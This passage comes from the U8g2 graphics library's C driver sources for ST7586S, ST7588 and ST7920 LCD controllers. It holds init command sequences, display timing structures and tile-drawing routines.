2 takeover from https://github.com/olikraus/u8g2/issues/1183 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2020, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8g2.h" static const uint8_t u8x8_d_st7586s_sleep_on[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x010), /* set power save mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_sleep_off[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x011), //Sleep out U8X8_DLY(50), /* delay 50 ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_ymc240160_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x080), /* COM159 -> COM0 SEG383 -> SEG0 */ U8X8_C(0x037), /* Start line 0 */ U8X8_A(0x000), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_ymc240160_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x036), /* Scan Direction Setting */ U8X8_A(0x000), /* COM0 -> COM159 SEG0 -> SEG383 */ U8X8_C(0x037), /* Start line 0 */ U8X8_A(0x000), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7586s_ymc240160_init_seq[] = { U8X8_START_TRANSFER(),/* enable chip */ U8X8_END_TRANSFER(),/* disable chip */ // U8G_ESC_RST(1), /* hardware reset */ U8X8_DLY(60), /* Delay 60 ms */ U8X8_START_TRANSFER(),/* enable chip */ U8X8_C(0x001), // Soft reset U8X8_DLY(60), // Delay 120 ms U8X8_C(0x011), // Sleep Out U8X8_C(0x028), // Display OFF U8X8_DLY(25), // Delay 50 ms U8X8_CAA(0x0C0,0x036,0x01),// Vop = 136h data sheet suggested 0x0145 but this caused streaks U8X8_CA(0x0C3,0x000), // BIAS = 1/14 U8X8_CA(0x0C4,0x007), // Booster = x8 U8X8_CA(0x0D0,0x01D), // Enable Analog Circuit U8X8_CA(0x0B3,0x000), // Set FOSC divider U8X8_CA(0x0B5,0x000), // N-Line = 0 U8X8_C(0x039), // 0x39 Monochrome mode. 0x38 - gray Mode U8X8_C(0x03A), // Enable DDRAM Interface U8X8_A(0x002), // monochrome and 4-level U8X8_C(0x036), // Scan Direction Setting U8X8_A(0x080), // COM:C159->C0 SEG: SEG383->SEG0 U8X8_C(0x0B1), // First output COM U8X8_A(0x000), // U8X8_C(0x0B0), // Duty Setting (num rows - 1) U8X8_A(0x09F), U8X8_C(0x020), // Display inversion off U8X8_C(0x02A), // Column Address Setting U8X8_A(0x000), // COL0 -> COL127 U8X8_A(0x000), // U8X8_A(0x000), // U8X8_A(0x04F), // 80*3=240 pixels U8X8_C(0x02B), // Row Address Setting U8X8_A(0x000), // ROW0 -> ROW159 U8X8_A(0x000), // U8X8_A(0x000), // U8X8_A(0x09F), // 160 pixels U8X8_C(0x029), // Display ON U8X8_END_TRANSFER(),/* disable chip */ U8X8_END() /* end of sequence */ }; static const u8x8_display_info_t u8x8_st7586s_ymc240160_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 100, /* datasheet ST7586S */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* ST7586+Atmega128RFA1 works with 8MHz */ /* spi_mode = */ 3, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 20, /* datasheet suggests min 20 */ /* write_pulse_width_ns = */ 40, /* tile_width = */ 30, /* tile_height = */ 20, /* default_x_offset = */ 0, /* abused as flag to know if we are flipped */ /* flipmode_x_offset = */ 1, /* as pixel order different for normal/flipped */ /* pixel_width = */ 240, /* pixel_height = */ 160 }; /* takeover from https://github.com/olikraus/u8g2/issues/1183 */ uint8_t u8x8_d_st7586s_ymc240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t c; uint8_t *ptr; uint8_t i, byte; uint32_t input; uint8_t output[8]; // uint8_t output[4]; switch (msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); // OK Start transfer u8x8_cad_SendCmd(u8x8, 0x02B); /* Row Address Setting */ u8x8_cad_SendArg(u8x8, 0x000); u8x8_cad_SendArg(u8x8, 0x008 * ((u8x8_tile_t *)arg_ptr)->y_pos); u8x8_cad_SendArg(u8x8, 0x000); // u8x8_cad_SendArg(u8x8, 0x09F); // should set end row based on display dimensions u8x8_cad_SendArg(u8x8, u8x8->display_info->pixel_height - 1); /* should this be u8x8->display_info->pixel_height - 1 */ u8x8_cad_SendCmd(u8x8, 0x02C); /* cmd write display data to ram */ c = ((u8x8_tile_t *) arg_ptr)->cnt; // c *= 8; ptr = ((u8x8_tile_t *) arg_ptr)->tile_ptr; // while (c > 0) { input = (((uint32_t)ptr[0] << 16) | ((uint32_t)ptr[1] << 8) | (uint32_t)ptr[2]); for (i=0; i<8; i++) { byte = 0; if (input & 0x800000) // if bit 23 byte = byte | 0xC0; //set pixel 1 if (input & 0x400000) // if bit 22 byte = byte | 0x18; //set pixel 2 if (input & 0x200000) // if bit 22 byte = byte | 0x3; //set pixel 3 output[i] = byte; input <<= 3; } u8x8_cad_SendData(u8x8, 8, output); ptr += 3; c -= 3; } u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_ymc240160_init_seq); break; case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7586s_ymc240160_display_info); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_ymc240160_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_ymc240160_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if (arg_int == 0) u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_off); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7586s_sleep_on); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x0C0); u8x8_cad_SendArg(u8x8, arg_int); u8x8_cad_SendArg(u8x8, 1); u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7588.c ================================================ /* u8x8_d_st7588.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2017, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ST7588 - has 4 different I2C addresses - I2C protocol is identical to SSD13xx */ #include "u8x8.h" /* function set, bit 2: power down, bit 3: MY, bit 4: MX, bit 5: must be 1 */ #define FS (0x020) /* not a real power down for the ST7588... just a display off */ static const uint8_t u8x8_d_st7588_128x64_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( FS | 0x00 ), /* select 00 commands */ //U8X8_C( 0x08 ), /* display off */ U8X8_C( 0x0c ), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7588_128x64_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( FS | 0x00 ), /* select 00 commands */ U8X8_C( 0x08 ), /* display off */ //U8X8_C( 0x0c ), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_st7588_128x64_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7588_128x64_display_info); break; */ /* handled by the calling function case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_powersave1_seq); /* restore orientation */ if ( u8x8->x_offset == 0 ) u8x8_cad_SendCmd(u8x8, FS ); /* select 00 commands */ else u8x8_cad_SendCmd(u8x8, FS ^ 0x018 ); /* select 00 commands */ break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, FS ); u8x8_cad_SendArg(u8x8, 4 | (arg_int>>7) ); u8x8_cad_SendCmd(u8x8, FS | 1); u8x8_cad_SendArg(u8x8, 0x080 | arg_int ); /* restore orientation */ if ( u8x8->x_offset == 0 ) u8x8_cad_SendCmd(u8x8, FS ); /* select 00 commands */ else u8x8_cad_SendCmd(u8x8, FS ^ 0x018 ); /* select 00 commands */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; if ( u8x8->x_offset == 0 ) u8x8_cad_SendCmd(u8x8, FS ); /* select 00 commands */ else u8x8_cad_SendCmd(u8x8, FS ^ 0x018 ); /* select 00 commands */ u8x8_cad_SendCmd(u8x8, 0x040 | (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendCmd(u8x8, 0x0e0 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0f0 | (x>>4) ); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_st7588_128x64_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 150, /* pre_chip_disable_wait_ns = */ 30, /* reset_pulse_width_ms = */ 5, /* post_reset_wait_ms = */ 5, /**/ /* sda_setup_time_ns = */ 60, /* */ /* sck_pulse_width_ns = */ 60, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* 400KHz */ /* data_setup_time_ns = */ 80, /* write_pulse_width_ns = */ 50, /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 0, /* must be 0, because this is checked also for normal mode */ /* flipmode_x_offset = */ 4, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_st7588_128x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( FS | 0x03 ), /* select 11 commands */ U8X8_C( 0x03 ), /* software reset */ U8X8_C( FS | 0x00 ), /* select 00 commands */ U8X8_C( 0x08 ), /* display off */ //U8X8_C( 0x0c ), /* display on */ U8X8_C( FS | 0x01 ), /* select 01 commands */ U8X8_C( 0x08 ), /* display confguration */ U8X8_C( 0x12 ), /* bias 1/9 */ U8X8_C( 0x8f ), /* Vop, lower 7 bits */ U8X8_C( FS | 0x00 ), /* select 00 commands */ U8X8_C( 0x05), /* Bit 0 contains high/low range for Vop */ U8X8_C( FS | 0x03 ), /* select 11 commands */ U8X8_C( 0x0b), /* Frame Rate: 73 Hz */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7588_jlx12864_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( FS ), /* normal mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7588_jlx12864_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C( FS ^ 0x018 ), /* normal mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7588_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( u8x8_d_st7588_128x64_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_SetI2CAddress(u8x8, 0x07e); /* the JLX12864 has 0x07e as a default address for I2C */ u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7588_128x64_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_128x64_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_jlx12864_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_st7588_jlx12864_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_st7920.c ================================================ /* u8x8_d_st7920.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The ST7920 controller does not support hardware graphics flip. Contrast adjustment is done by an external resistor --> no support for contrast adjustment */ #include "u8x8.h" static const uint8_t u8x8_d_st7920_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(10), U8X8_C(0x038), /* 8 Bit interface (DL=1), basic instruction set (RE=0) */ U8X8_C(0x008), /* display on, cursor & blink off; 0x08: all off */ U8X8_C(0x006), /* Entry mode: Cursor move to right ,DDRAM address counter (AC) plus 1, no shift */ U8X8_C(0x002), /* disable scroll, enable CGRAM adress */ U8X8_C(0x001), /* clear RAM, needs 1.6 ms */ U8X8_DLY(4), /* delay 2ms */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7920_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x038), /* 8 Bit interface (DL=1), basic instruction set (RE=0) */ U8X8_C(0x00c), /* display on, cursor & blink off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_st7920_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x038), /* 8 Bit interface (DL=1), basic instruction set (RE=0) */ U8X8_C(0x008), /* display off */ U8X8_C(0x034), /* 8 Bit interface (DL=1), extended instruction set (RE=1) */ U8X8_C(0x001), /* Standby mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_st7920_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c, i; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_st7920_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_st7920_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_st7920_powersave1_seq); break; case U8X8_MSG_DISPLAY_DRAW_TILE: y = (((u8x8_tile_t *)arg_ptr)->y_pos); y*=8; x = ((u8x8_tile_t *)arg_ptr)->x_pos; x /= 2; /* not sure whether this is a clever idea, problem is, the ST7920 can address only every second tile */ if ( y >= 32 ) /* this is the adjustment for 128x64 displays */ { y-=32; x+=8; } u8x8_cad_StartTransfer(u8x8); /* Tile structure is reused here for the ST7920, however u8x8 is not supported tile_ptr points to data which has cnt*8 bytes (same as SSD1306 tiles) Buffer is expected to have 8 lines of code fitting to the ST7920 internal memory "cnt" includes the number of horizontal bytes. width is equal to cnt*8 Also important: Width must be a multiple of 16 (ST7920 requirement), so cnt must be even. TODO: Consider arg_int, however arg_int is not used by u8g2 */ c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ /* The following byte is sent to allow the ST7920 to sync up with the data */ /* it solves some issues with garbage data */ u8x8_cad_SendCmd(u8x8, 0x03e ); /* enable extended mode */ u8x8_cad_SendCmd(u8x8, 0x03e ); /* enable extended mode, issue 487 */ for( i = 0; i < 8; i++ ) { //u8x8_cad_SendCmd(u8x8, 0x03e ); /* enable extended mode */ u8x8_cad_SendCmd(u8x8, 0x080 | (y+i) ); /* y pos */ u8x8_cad_SendCmd(u8x8, 0x080 | x ); /* set x pos */ c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL); /* extra dely required */ u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes, send one line of data */ ptr += c; //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL); /* extra dely required */ } u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } /*=== 144x32 === */ /* https://github.com/olikraus/u8g2/issues/209 */ static const u8x8_display_info_t u8x8_st7920_144x32_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* datasheet ST7920 */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 3, /* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0), 18 Aug 16: changed from 1 to 3 which works for 101 */ /* Arduino mode 3: aktive low clock, but use rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 18, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 144, /* pixel_height = */ 32 }; uint8_t u8x8_d_st7920_144x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_144x32_display_info); break; default: return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=== 160x32 === */ /* https://github.com/olikraus/u8g2/issues/1873, POWERTIP PG-16032LRU-BWH-H-P2 */ static const u8x8_display_info_t u8x8_st7920_160x32_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* datasheet ST7920 */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 3, /* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0), 18 Aug 16: changed from 1 to 3 which works for 101 */ /* Arduino mode 3: aktive low clock, but use rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 20, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 160, /* pixel_height = */ 32 }; uint8_t u8x8_d_st7920_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_160x32_display_info); break; default: return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=== 192x32 === */ static const u8x8_display_info_t u8x8_st7920_192x32_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* datasheet ST7920 */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 3, /* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0), 18 Aug 16: changed from 1 to 3 which works for 101 */ /* Arduino mode 3: aktive low clock, but use rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 24, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 192, /* pixel_height = */ 32 }; uint8_t u8x8_d_st7920_192x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_192x32_display_info); break; default: return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=== 128x64 === */ static const u8x8_display_info_t u8x8_st7920_128x64_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* datasheet ST7920 */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* ST7920+Due work with 1MHz but not with 2MHz, ST7920+Uno works with 2MHz */ /* spi_mode = */ 3, /* active high, rising edge, 18 Aug 16: changed from 1 to 3 which works for 101 */ /* in theory mode 3 should be correct */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 16, /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 64 }; uint8_t u8x8_d_st7920_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_128x64_display_info); break; default: return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=== 256x32 === */ /* https://github.com/olikraus/u8g2/issues/1593 */ static const u8x8_display_info_t u8x8_st7920_256x32_display_info = { /* chip_enable_level = */ 1, /* chip_disable_level = */ 0, /* post_chip_enable_wait_ns = */ 5, /* pre_chip_disable_wait_ns = */ 5, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* datasheet ST7920 */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* ST7920+Due work with 1MHz but not with 2MHz, ST7920+Uno works with 2MHz */ /* spi_mode = */ 3, /* active high, rising edge, 18 Aug 16: changed from 1 to 3 which works for 101 */ /* in theory mode 3 should be correct */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* write_pulse_width_ns = */ 40, /* tile_width = */ 32, /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 256, /* pixel_height = */ 32 }; uint8_t u8x8_d_st7920_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_256x32_display_info); break; default: return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_t6963.c ================================================ /* u8x8_d_t6963.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, 